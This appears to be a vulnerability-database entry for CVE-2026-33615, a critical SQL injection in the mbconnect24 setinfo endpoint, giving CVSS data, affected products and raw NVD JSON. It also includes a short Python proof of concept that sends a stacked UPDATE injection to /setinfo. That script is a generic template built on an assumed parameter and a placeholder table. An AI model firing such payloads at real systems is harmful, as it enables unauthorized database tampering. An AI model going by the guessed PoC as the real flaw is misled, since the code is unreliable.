Security Vulnerability Report
中文
CVE-2026-33615 CVSS 9.1 CRITICAL

CVE-2026-33615

Published: 2026-04-02 10:16:17
Last Modified: 2026-04-16 15:45:01

Description

An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the setinfo endpoint due to improper neutralization of special elements in a SQL UPDATE command. This can result in a total loss of integrity and availability.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:* - VULNERABLE
详情请参考厂商公告VDE-2026-030

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_sql_injection(target_url): """ PoC for CVE-2026-33615 SQL Injection in setinfo endpoint. Demonstrates unauthorized data modification via UPDATE injection. """ # Malicious payload intended for an UPDATE statement context # Example: setting a specific field to a malicious value injection_payload = "1' OR 1=1; UPDATE sensitive_table SET status='compromised' WHERE id=1-- -" # Construct the request parameters (assuming parameter 'id' is vulnerable) params = { "id": injection_payload } try: print(f"[+] Sending payload to {target_url}/setinfo") response = requests.get(f"{target_url}/setinfo", params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Database may have been modified.") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP/Hostname target = "http://192.168.1.100" exploit_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33615", "sourceIdentifier": "[email protected]", "published": "2026-04-02T10:16:16.910", "lastModified": "2026-04-16T15:45:00.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the setinfo endpoint due to improper neutralization of special elements in a SQL UPDATE command. This can result in a total loss of integrity and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "FF88F461-51FB-482C-A406-07F72FC10D79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "36E8693F-94C4-46A4-BD83-D87B71B89F12"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2026-030", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://mbconnectline.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-030.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}